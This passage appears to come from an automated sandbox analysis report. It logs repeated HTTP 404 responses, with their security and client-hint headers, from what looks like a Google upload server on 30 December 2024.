sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5tJHf4H4wg8BLFJONSAHJZm-kXJ9zP2gE6Yl9g5q0nXxIKHP3RGju89wN_uQJfeP4fContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:21 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-v9oVnnLZ_TdbiTuMsckhvQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7NrePA23nqr-8VPuk6xdVxqE0KvVtHdWOjxKsVlOH960v7IzzLABjXhCMmaoOehB39Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:22 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-nWhDCUM-AT6CAjgiwygedw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7_3KorrprvN0ITSvJTREZ9_I7H0v2rbI2RiSyJfPNvJPmZA0nkXnfu0kUR0yIW-pzLContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:24 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-hOMixjnidXGtbZf0VuXjjw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5KZgvyVJBcXjzp-d0nimYBH1x6KvptOFlwHqy9lBnJq8Hpz17cZAs9ZnjlEXEsHnTJContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:24 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-_5AldXTFMO78Tgwb3_UBqg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6TLANqvCMWcSrkppG1c48bn83mKgqF89mNPCfLSJ0LsFV_ciBx8gsNBVBUadm-ah2YContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:25 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-lh0Xnrz0v29jZ1yKny5Ggg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4XE9ltO5sP3N1Ar8PTH5TeZoZyYCHQYswm3HTkYY2aozOCHcnr1TUfkjZboyloQwjgjW0gL5EContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:25 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-DrHxITUWqkpY9zOVZL--eQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC78TJ0s7w9-xVrnPC4666qZhtzBpabA4vOB160H6JXYtU6Fdo4rnzdYpAuZ1VKsEXBNContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:27 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-3QCZBTHJd1WzjAiyJ7Ckhg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7u95LCBikf2VrlPZgsV-yI6nxuqMn2Ojd7VJ5HUViP0ZCF2RixzeZv0yho1ewOmz7HContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:27 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-z7XQUqKBFeWkyxMcf_-bXQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6crF2b7FSSTausPhad_4aDlZpOp8Brm48BUTsUxCBmURGshwiTp9F1tflMuoY3Q8yLContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:29 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-LvSAwuG9HlrbjnO4JLmlYw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4aikY1hqp2JJwd_UVjRDghR_eADDFrb1kjxIdoXxulk6H0qKleGVRTUJNzv2Grlb4iH4J0CYEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:29 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-wcZe5jZLEzFE417kITNx4A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6EPYnsdxaBmwEzi3oy1xasAkPzCYoNSGeyMsE1cGSNvC1X7G2LjMv8A-wfiQsKaUpEsVzlc10Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:30 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Vgj3aQ7owv7-FjrEcxeqhQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4Cu1NUzd1xt5FYFxcONGcm_PxAcuGzuznSwVVcy8m3_pue8yP4m8t1Nm8JX3NBtxs1Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:30 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-lp1vjZwqRCu2CrdcRbpMNw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5tB4ZSa22yKLtARIbndnmCJ_oZwwz63dpCk6Q_ClVYxd45NWERMSX98p1rv-5YSq8ofNhGwZQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:31 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-EaziQ_cIt_9Dlp5jb-QkzQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC729wdkrE3hx8FyEGT0hnE-4MeTLK1MKnDV4cFtLG8bZ-wtfmQzpbuxegoYmQxJxJ6VContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:32 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-t4qd5EpHE6LSIUYWXf1fuA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7sj2j0nbUHWk1a5MgCGDq7rq6fA_d6BnPp2IlmRb9N17Ccrw-Bk9CY9lue5ylHeftKDl3sDyoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:32 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-B-5r0DGtruTCPj1clq-u1Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6H__jp48lMPl_U3TEFh-FoqSc_MvrIze9ez4eSG4gcR3B17k6gHjs1gX-KasSHhGU-Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:33 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-yMgLJlmvrUBIyazQiUz9OA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5Ay4RxBpc96w1vGaisqgXZN6kJlSI3CW79YcffGF3PvAOJmsFfwtL5PIqpHjCQVifjContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:33 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-YHmc-ArVDg9jrLUeHyxWNA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5n2jGEQCWLlQS-h6XieblUAo3rIkMj6uEeYyi8ldX-QWx4vY9N6Mkjw5-Sx07s_GvKContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:35 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-jjmdGFN99Fr0H8FCWxmiWg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6sEKpj7K2JTFM2i5m0S7mYHMXxHbY36vpIt1vd315tHLee4YA71LlDnZupTa_o8C0Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:36 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-InuDqAYtm78iwzwKmEjFOA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4WHAfbb6IRukLwpSyevePuFa4_SwhQJjEJNRHx1Q3Kri0GfJRN-pdJ1paAks6hZvA2f4n-uQkContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:36 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-HXdeOlWWtJ0GBordlk7n-A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
